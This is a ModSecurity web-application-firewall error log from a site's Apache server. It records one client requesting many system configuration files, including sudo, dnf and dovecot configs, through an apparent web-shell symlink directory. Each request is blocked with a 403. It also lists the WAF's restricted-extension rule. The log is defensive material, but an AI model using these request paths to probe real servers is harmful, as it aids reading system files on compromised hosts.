[Sun Oct 25 14:29:39.821266 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:52712] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/depmod.d/dist.conf"] [unique_id "at5KkypTNKVnE1oMPCDtHAAAAAA"]
[Sun Oct 25 14:29:39.864100 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:52715] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dnf/plugins/copr.conf"] [unique_id "at5Kk4ptOg7YDpX4xSOWuAAAABA"]
[Sun Oct 25 14:29:39.864421 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:52715] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dnf/plugins/copr.conf"] [unique_id "at5Kk4ptOg7YDpX4xSOWuAAAABA"]
[Sun Oct 25 14:29:39.864709 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:52715] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dnf/plugins/copr.conf"] [unique_id "at5Kk4ptOg7YDpX4xSOWuAAAABA"]
[Sun Oct 25 14:29:39.885978 2026] [security2:error] [pid 2880748:tid 2880748] [client 76.135.135.39:52717] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dnf/plugins/debuginfo-install.conf"] [unique_id "at5Kk6i7oKzIlJx03ipNWgAAAAE"]
[Sun Oct 25 14:29:39.886235 2026] [security2:error] [pid 2880748:tid 2880748] [client 76.135.135.39:52717] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dnf/plugins/debuginfo-install.conf"] [unique_id "at5Kk6i7oKzIlJx03ipNWgAAAAE"]
[Sun Oct 25 14:29:39.886470 2026] [security2:error] [pid 2880748:tid 2880748] [client 76.135.135.39:52717] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dnf/plugins/debuginfo-install.conf"] [unique_id "at5Kk6i7oKzIlJx03ipNWgAAAAE"]
[Sun Oct 25 14:29:39.902702 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:52718] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dnf/plugins/spacewalk.conf"] [unique_id "at5Kk73kuBsxLRbAfYmolAAAAA4"]
[Sun Oct 25 14:29:39.902976 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:52718] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dnf/plugins/spacewalk.conf"] [unique_id "at5Kk73kuBsxLRbAfYmolAAAAA4"]
[Sun Oct 25 14:29:39.903216 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:52718] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dnf/plugins/spacewalk.conf"] [unique_id "at5Kk73kuBsxLRbAfYmolAAAAA4"]
[Sun Oct 25 14:29:39.939747 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:52724] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dnf/protected.d/setup.conf"] [unique_id "at5Kk5KSFHHoiviJa5dqjAAAAAo"]
[Sun Oct 25 14:29:39.940050 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:52724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dnf/protected.d/setup.conf"] [unique_id "at5Kk5KSFHHoiviJa5dqjAAAAAo"]
[Sun Oct 25 14:29:39.940296 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:52724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dnf/protected.d/setup.conf"] [unique_id "at5Kk5KSFHHoiviJa5dqjAAAAAo"]
[Sun Oct 25 14:29:39.940528 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:52719] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dnf/plugins/universal_hooks.conf"] [unique_id "at5Kk7mAKu18kw3DYL-PNAAAAA8"]
[Sun Oct 25 14:29:39.940758 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:52719] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dnf/plugins/universal_hooks.conf"] [unique_id "at5Kk7mAKu18kw3DYL-PNAAAAA8"]
[Sun Oct 25 14:29:39.940991 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:52719] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dnf/plugins/universal_hooks.conf"] [unique_id "at5Kk7mAKu18kw3DYL-PNAAAAA8"]
[Sun Oct 25 14:29:39.955895 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:52723] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dnf/protected.d/dnf.conf"] [unique_id "at5Kk76D6j04LiS6yScWOQAAAAI"]
[Sun Oct 25 14:29:39.956109 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:52723] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dnf/protected.d/dnf.conf"] [unique_id "at5Kk76D6j04LiS6yScWOQAAAAI"]
[Sun Oct 25 14:29:39.956337 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:52723] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dnf/protected.d/dnf.conf"] [unique_id "at5Kk76D6j04LiS6yScWOQAAAAI"]
[Sun Oct 25 14:29:39.977427 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:52729] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dnf/protected.d/sudo.conf"] [unique_id "at5KkyEQblycZeXKbm74lgAAAAU"]
[Sun Oct 25 14:29:39.977733 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:52729] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dnf/protected.d/sudo.conf"] [unique_id "at5KkyEQblycZeXKbm74lgAAAAU"]
[Sun Oct 25 14:29:39.977976 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:52729] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dnf/protected.d/sudo.conf"] [unique_id "at5KkyEQblycZeXKbm74lgAAAAU"]
[Sun Oct 25 14:29:39.996886 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:52753] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dnf/protected.d/systemd.conf"] [unique_id "at5Kk0YY36dVli09oOhVZAAAAAw"]
[Sun Oct 25 14:29:39.997266 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:52753] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dnf/protected.d/systemd.conf"] [unique_id "at5Kk0YY36dVli09oOhVZAAAAAw"]
[Sun Oct 25 14:29:39.997513 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:52753] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dnf/protected.d/systemd.conf"] [unique_id "at5Kk0YY36dVli09oOhVZAAAAAw"]
[Sun Oct 25 14:29:40.015348 2026] [security2:error] [pid 2879956:tid 2879956] [client 76.135.135.39:52757] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dnf/protected.d/yum.conf"] [unique_id "at5KlBH5LAgtrvBIlo322QAAABU"]
[Sun Oct 25 14:29:40.015655 2026] [security2:error] [pid 2879956:tid 2879956] [client 76.135.135.39:52757] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dnf/protected.d/yum.conf"] [unique_id "at5KlBH5LAgtrvBIlo322QAAABU"]
[Sun Oct 25 14:29:40.015932 2026] [security2:error] [pid 2879956:tid 2879956] [client 76.135.135.39:52757] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dnf/protected.d/yum.conf"] [unique_id "at5KlBH5LAgtrvBIlo322QAAABU"]
[Sun Oct 25 14:29:40.037520 2026] [security2:error] [pid 2880750:tid 2880750] [client 76.135.135.39:52759] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dovecot/auth_policy.conf"] [unique_id "at5KlNId4uiAK8m2gJn9JAAAAAQ"]
[Sun Oct 25 14:29:40.037776 2026] [security2:error] [pid 2880750:tid 2880750] [client 76.135.135.39:52759] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dovecot/auth_policy.conf"] [unique_id "at5KlNId4uiAK8m2gJn9JAAAAAQ"]
[Sun Oct 25 14:29:40.038010 2026] [security2:error] [pid 2880750:tid 2880750] [client 76.135.135.39:52759] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dovecot/auth_policy.conf"] [unique_id "at5KlNId4uiAK8m2gJn9JAAAAAQ"]
